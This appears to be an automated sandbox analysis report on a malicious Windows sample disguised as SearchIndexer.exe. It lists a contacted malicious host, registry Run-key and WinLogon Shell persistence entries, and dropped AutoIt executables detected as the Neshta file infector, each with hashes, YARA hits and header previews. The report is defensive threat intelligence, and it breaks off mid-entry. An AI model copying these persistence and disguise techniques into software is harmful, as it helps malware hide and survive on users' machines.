                                                        https://aka.ms/pscore68powershell.exe, 00000006.00000002.2380149744.000002188CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C39B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABA31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F2A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC66FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D601000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C91011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B5241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9CE61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E2E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788DE41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A461000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC8E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8BB1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameSearchIndexer.exe, 00000001.00000002.1913109715.0000000003888000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2380149744.000002188CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C39B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABA31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F2A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC66FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D601000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C91011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B5241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9CE61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E2E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788DE41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A461000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC8E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8BB1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6svchost.exe, 00000039.00000003.2223535604.000001F8488C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              https://github.com/Pester/Pesterpowershell.exe, 00000023.00000002.2406346739.0000023FC8DD6000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffmsedge_pwa_launcher.exe.0.drfalse

                                                                  World Map of Contacted IPs

                                                                  • No. of IPs < 25%
                                                                  • 25% < No. of IPs < 50%
                                                                  • 50% < No. of IPs < 75%
                                                                  • 75% < No. of IPs

                                                                  Public IPs

                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                  37.44.238.250
                                                                  		519600cl.nyashtop.topFrance
                                                                  		49434HARMONYHOSTING-ASFRtrue

                                                                  Private

                                                                  IP
                                                                  127.0.0.1

                                                                  General Information

                                                                  Joe Sandbox version:42.0.0 Malachite
                                                                  Analysis ID:1589995
                                                                  Start date and time:2025-01-13 13:09:08 +01:00
                                                                  Joe Sandbox product:CloudBasic
                                                                  Overall analysis duration:0h 14m 0s
                                                                  Hypervisor based Inspection enabled:false
                                                                  Report type:full
                                                                  Cookbook file name:default.jbs
                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                  Number of analysed new started processes analysed:73
                                                                  Number of new started drivers analysed:0
                                                                  Number of existing processes analysed:0
                                                                  Number of existing drivers analysed:0
                                                                  Number of injected processes analysed:0
                                                                  Technologies:
                                                                  • HCA enabled
                                                                  • EGA enabled
                                                                  • AMSI enabled
                                                                  Analysis Mode:default
                                                                  Analysis stop reason:Timeout
                                                                  Sample name:SearchIndexer.exe
                                                                  Detection:MAL
                                                                  Classification:mal100.spre.troj.spyw.expl.evad.winEXE@102/312@1/2
                                                                  EGA Information:
                                                                  • Successful, ratio: 16.7%
                                                                  HCA Information:Failed
                                                                  Cookbook Comments:
                                                                  • Found application associated with file extension: .exe

                                                                  Warnings

                                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                                  • Excluded IPs from analysis (whitelisted): 2.23.242.162, 4.245.163.56, 13.107.246.45
                                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
                                                                  • Execution Graph export aborted for target RuntimeBroker.exe, PID 9180 because it is empty
                                                                  • Execution Graph export aborted for target SearchIndexer.exe, PID 4820 because it is empty
                                                                  • Execution Graph export aborted for target SearchIndexer.exe, PID 6636 because there are no executed function
                                                                  • Execution Graph export aborted for target tAVtSoJGTaCxrZiXcJn.exe, PID 2252 because it is empty
                                                                  • Execution Graph export aborted for target tAVtSoJGTaCxrZiXcJn.exe, PID 8740 because it is empty
                                                                  • Not all processes where analyzed, report is missing behavior information
                                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                  • Report size getting too big, too many NtCreateKey calls found.
                                                                  • Report size getting too big, too many NtOpenFile calls found.
                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                  • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                  • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                  Simulations

                                                                  Behavior and APIs

                                                                  TimeTypeDescription
                                                                  07:10:18API Interceptor616x Sleep call for process: powershell.exe modified
                                                                  07:10:50API Interceptor701077x Sleep call for process: tAVtSoJGTaCxrZiXcJn.exe modified
                                                                  07:10:53API Interceptor2x Sleep call for process: svchost.exe modified
                                                                  12:10:13AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJn "C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe"
                                                                  12:10:26AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe"
                                                                  12:10:38AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SearchIndexer "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe"
                                                                  12:10:50AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJn "C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe"
                                                                  12:11:00AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe"
                                                                  12:11:09AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SearchIndexer "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe"
                                                                  12:11:23AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run tAVtSoJGTaCxrZiXcJn "C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe"
                                                                  12:11:35AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run RuntimeBroker "C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe"
                                                                  12:11:46AutostartRun: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run SearchIndexer "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe"
                                                                  12:12:03AutostartRun: WinLogon Shell "C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe"
                                                                  12:12:12AutostartRun: WinLogon Shell "C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe"
                                                                  12:12:20AutostartRun: WinLogon Shell "C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe"
                                                                  12:12:29AutostartRun: WinLogon Shell "C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe"
                                                                  12:12:38AutostartRun: WinLogon Shell "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe"

                                                                  Joe Sandbox View / Context

                                                                  IPs

                                                                  ⊘No context

                                                                  Domains

                                                                  ⊘No context

                                                                  ASNs

                                                                  ⊘No context

                                                                  JA3 Fingerprints

                                                                  ⊘No context

                                                                  Dropped Files

                                                                  ⊘No context

                                                                  Created / dropped Files

                                                                  C:\Program Files (x86)\AutoIt3\Au3Check.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):275560
                                                                  Entropy (8bit):6.2970746701197715
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CqP5KVkD8QC2mCBFv9m7usyT8tKQ9clyPqlO91/iDVSsWUG0bCP0BwOvOIXM:k9q4VQjVsxyItKQNhigibKCM
                                                                  MD5:C5611345B2807155BF89ECA90379AB14
                                                                  SHA1:03A0F7BD2A50895DF6A9311DB3E5C58B574E1BA3
                                                                  SHA-256:6AB1464D7BA02FA63FDDFAF5295237352F14F7AF63E443E55D3FFB68A304C304
                                                                  SHA-512:18C164973DE987AD9ED1CFCB2AE5557238692B5C50E0F8B8DCECF0B11B2DADBA6C0B5990C532AE8DB578F04BD1CAB3086C78493866C8B989A41DD6251693CA98
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\Au3Info.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):217704
                                                                  Entropy (8bit):6.606010943993646
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CFxFVaK4T6fWSlXe0lJQafeyrR0kr/yh5DEU/Pk13TfwqiTP0McBUNnUxTtM:k9P2K4TSFo5Y683TdiQMcGNUl4N
                                                                  MD5:D103610D5A97A461DE47D79EBC364E23
                                                                  SHA1:B7AC0C939E39117C2FA939D47322A8B9FAF5AD0D
                                                                  SHA-256:6CF772752F25B150052F17600F5D08876E87FCAF774CE834A896688B1836BFD7
                                                                  SHA-512:97A467B62C96BF51CC5904B1EF1CB0D416364B2C835A326BFE7F5357823B07F5541C8DF5AD2195583ED108B90E5EDF820E2C3CAD42CFAA5FB67BF8CC1B9026E2
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):237160
                                                                  Entropy (8bit):6.441042873341931
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CuyRnuBGwl/1Gc9QnvGqyWQ93kr/yh5DEU/P5kP0zU35iuvQBUeGMLu:k9tl3wdYtcH9b5Y651zU77Ea
                                                                  MD5:3256A5B6BEBFC57A3CC7C74801B06B57
                                                                  SHA1:7AEFDEDF3B79F68884A780082FC12AF565FE80DA
                                                                  SHA-256:A2791E10861628C1AC263A540A6D575275F9E3E22A31BB62AB1320EAAED0C982
                                                                  SHA-512:111928B9435B7F6721919E58C3248E985C1FA76EB2E9C18559374847C6B8F54499BE6FDA36724F568384A32F1E4D91EC6F0A51ABECFE585740CE1916E5205B09
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1675872
                                                                  Entropy (8bit):7.455008835300499
                                                                  Encrypted:false
                                                                  SSDEEP:24576:LC51xB6B9YNgqe1xTVIlz7X9zOo4PjnikEpx/nLWvJ+l:sK0eqkSR7Xgo4TiRPnLWvJY
                                                                  MD5:3E25798A6593021C594E9B0F5E4D1CC0
                                                                  SHA1:0F412F338A8323C62D21606629B121DDC5A11C2F
                                                                  SHA-256:4ED44421F087BC78474EE5512BC85FDF8602D651C144CC97449C332E19B07C10
                                                                  SHA-512:ABAF3628ADB6C48F606DFE67EB777EB3C2B5D3E635996E6E673E3183ACC766A5E0341F1FB79436268DCF0FFF6889F997A77344CC39CC65D06248ADE8A9F43991
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1841760
                                                                  Entropy (8bit):7.348031538890329
                                                                  Encrypted:false
                                                                  SSDEEP:24576:5EeK2NocwiN/jc41p3qp11JsqbhOUe1xTVIlz7X9zOo4PjnikEpx/nLWvJ+i:rfYP1JsEDkSR7Xgo4TiRPnLWvJD
                                                                  MD5:A80324ADD872CA0150B9A23F0FE412D0
                                                                  SHA1:D8B4074235B24DB9B9238FE7985C4D0A909297E1
                                                                  SHA-256:6BB5BB976CDDCA2A12E007B6B65E675990ABE3819906069DD6DB5867C0AFD943
                                                                  SHA-512:BC1AE9D3976F210F161EE1B8E43698C9B717E216B3E35F6E15C7D38FE5D82DEFB843104B0FBEF56842E7B10CF50DFE2206F7E5C2117AFF0D99AB7B4EE7708915
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 100%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):346624
                                                                  Entropy (8bit):7.904139028422803
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9ypXDXz7yIrozs0WuNd3ojusBdgnNW6r4F53ttuGENGFdVCLEYnPO1D7YYoSyZV:V9zGImAjJdcH4j3ttzFdVCLNSfHoSWCG
                                                                  MD5:4D2A6099D369E478E6B97ECA38DF66FF
                                                                  SHA1:F8A2EFB513BC22A550E1DAADB7765D3691795D05
                                                                  SHA-256:E8657C5096C1D6059D7862D842C93EE9D7C16331EFBEC02C99BECA1ACEF0E4D7
                                                                  SHA-512:7BC01CBF7A591AAC71439A126940D1374B6BB49A3109651EB9525026EAB22AD70558FFB8723838C33830467D1B7DBE72E76BA84925BFECD405E10B83FFDF8A45
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):165976
                                                                  Entropy (8bit):6.142151879298232
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C54kvQ4gXIRSG+7IJqC3CJyoDjpBnjkP0XGx2SYg+b/Q+y1s3:k96nGZLknnj1X62SYdb4I
                                                                  MD5:DC83EC579923AE57218540FC07BF2040
                                                                  SHA1:E66D11E9A1E1C5FAD6A6D7B3F4ABDEB1A446A873
                                                                  SHA-256:13E946747F9CD00EC7347780C1D0887C22EE43B8677337B32B0C9CA8070E09B5
                                                                  SHA-512:3990D01D0B492961B1F15A15BA12E0213A5C5B72D5B2809B2A58BFF6A2AB2C37058540D8C9F8E5524FA6EBBE72A0BEB1317AA07D06E8D326DCC234EF4F82CC13
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 97%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1113176
                                                                  Entropy (8bit):6.4474669878621365
                                                                  Encrypted:false
                                                                  SSDEEP:24576:wTC6Rb6qu1PyC+NRLtpScpzbtT7pyOolKL8Sq/jrc5xaNIBg:w+6AqSPyC+NltpScpzbtvpJoMQSq/jrL
                                                                  MD5:17047620C59D9FE748AA05010D507AC9
                                                                  SHA1:5B0D5B70529A435FF5BC75376B472393485C9871
                                                                  SHA-256:C539E191A88228427976838CDBEC85CCDBD82540544615055E8F91BE803568D5
                                                                  SHA-512:21EE706E62D205C09602EDAC232878743F46EEDDF76CD6625926F7C64E89AB27883497A1785D31D8D354E0F20C05C39F39566F6505450B9DB47D057FD7E5BAA1
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):2414080
                                                                  Entropy (8bit):6.729178086017267
                                                                  Encrypted:false
                                                                  SSDEEP:49152:3EGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL8:U4OEtwiICvYMpfc
                                                                  MD5:249BBE06632E2A230917599D7E07C3B0
                                                                  SHA1:E61C25BBEBA924006CA9DCED18549C72856FC205
                                                                  SHA-256:A232299F45362340795849140E955B1FE202928E21FF5BB016A03471C80A2FA3
                                                                  SHA-512:537050319C5BC05A3DF9A5629CAD25FC2CD4A28078CF6932C0434F5FF135653300D90030D1F097607FD7257130D70A91B7235AAD82A07199891C25E8EE5DD8B1
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, Author: ditekSHen
                                                                  Antivirus:
                                                                  • Antivirus: Avira, Detection: 100%
                                                                  • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                  • Antivirus: ReversingLabs, Detection: 95%
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\AutoIt3\Uninstall.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):113233
                                                                  Entropy (8bit):6.788395365702366
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CWCrNGEtajbefY/TU9fE9PEtuGCrK:k9WCrAEt+cYa6YCrK
                                                                  MD5:BA9FF8A299799820F7252C401EA47ECB
                                                                  SHA1:D8123BDB9E57F1364E304209F149360880F26C3F
